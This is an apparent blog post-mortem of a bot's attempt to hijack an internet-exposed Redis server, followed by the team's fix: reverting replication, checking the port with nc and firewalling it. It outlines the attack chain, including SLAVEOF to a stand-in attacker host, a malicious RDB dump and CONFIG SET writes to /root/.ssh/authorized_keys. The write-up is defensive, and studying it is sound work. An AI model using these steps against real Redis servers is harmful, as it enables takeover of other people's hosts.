SHARE
Recently, we encountered a subtle but potentially dangerous security issue in our infrastructure. What initially appeared to be a simple connectivity error turned out to be an attempted attack on our system.
The incident started with a bug report:
RedisClient::CannotConnectError: getaddrinfo: Temporary failure in name resolution (redis://redis:6379)
At first glance, this seemed like a typical networking or DNS issue. However, digging deeper revealed something more interesting.
Our Redis instance had its default port (6379) publicly exposed.
An automated bot discovered it and attempted to execute the following command:
SLAVEOF / REPLICAOF
This is a known attack vector that exploits the fact that Redis, by default, does not require authentication.
If successful, the attack chain would look like this:
The attacker connects to the exposed Redis instance and runs:
SLAVEOF attacker-host port
Our Redis instance starts replication and connects to the attacker’s server.
The attacker sends a malicious RDB dump containing payload data.
Using Redis configuration commands:
CONFIG SET dir
CONFIG SET dbfilename
The attacker could write arbitrary files, for example:
/root/.ssh/authorized_keys
This would grant the attacker SSH access to the host.
From there, they could install a miner, backdoor, or execute arbitrary code.
Fortunately, the attack did not succeed for two key reasons:
The bot failed to connect to its own server, so the attack stopped at the first step.
Even if the RDB payload had been delivered, our Redis instance runs inside a Docker container.
This means:
/root/.ssh/authorized_keys on the host would not have been possibleSo even a partially successful attack would not have compromised the host system.
Here’s how we handled the situation:
We checked the replication status directly:
INFO replication
It confirmed that Redis had switched to slave mode.
We immediately reverted it:
REPLICAOF NO ONE
From a local machine, we ran:
nc -zv <ip> 6379
The connection succeeded, confirming the port was publicly accessible.
We blocked the port via firewall and removed the unintended port forwarding that exposed Redis in the first place.
After that, we verified again:
nc -zv <ip> 6379
This time, the connection failed, and the port was no longer exposed.
Given that the port was actively targeted, we prioritized closing the immediate attack vector. A broader security review is the natural next step to ensure there are no similar misconfigurations elsewhere.
If you're running Redis (or similar services like Memcached or MongoDB), make sure they are not exposed to the public internet.
Simple checks that can save you from real incidents:
This fix took just a couple of minutes, but it prevented a whole class of potential attacks.